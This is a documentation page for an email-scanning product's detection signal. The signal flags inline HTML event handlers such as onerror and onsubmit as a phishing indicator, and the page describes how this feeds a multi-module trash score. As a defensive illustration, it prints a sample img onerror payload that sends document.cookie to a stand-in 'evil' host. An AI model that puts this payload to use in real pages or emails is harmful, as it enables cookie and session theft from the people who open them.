Inline event handler in body — onclick / onerror / onload in an HTML tag (script execution vector)

inline-event-handler-in-body

What this tier means

High-confidence threat indicator — phishing, impersonation, BEC, or scam pattern. Strong contributor to the trash decision.

How Gorganizer detects this

HTML body contains an inline DOM event handler attribute — `onclick`, `onerror`, `onload`, `onmouseover`, `onsubmit`, or similar. Companion to script-in-body: inline handlers are a script-execution vector that doesn't need a `<script>` tag, so scanners that only look for `<script>` miss this attack shape. The canonical pattern is `<img onerror="fetch('evil/'+document.cookie)" src="broken.png">` — the image fails to load, the handler fires, the exfiltrator runs. `<form onsubmit="...">` variants intercept credentials before submit. Legitimate email platforms strip these on output because mail clients would strip them anyway — presence in raw MIME is a near-perfect attacker fingerprint.

False-positive guard

Every signal in Gorganizer feeds a multi-module score — never a sole verdict. This is a threat-tier signal — it adds a strong contribution to the trash score. The full pipeline still requires convergence across multiple modules + a margin over the safety floor before deletion happens, and Gmail's trash (30-day recovery) is always used — never permanent delete.

About the scoring engine

Gorganizer's scoring engine emits over 1,800 signals across six modules — headers, sender, subject, body, attachments, and structural metadata. Every email is scored by every module independently; the final verdict requires multiple modules to agree and the trash score to beat the safety floor by a margin.

Sacred safety guards — never delete starred emails, replies, calendar invites, receipts/invoices, or attachments — apply unconditionally regardless of any signal.
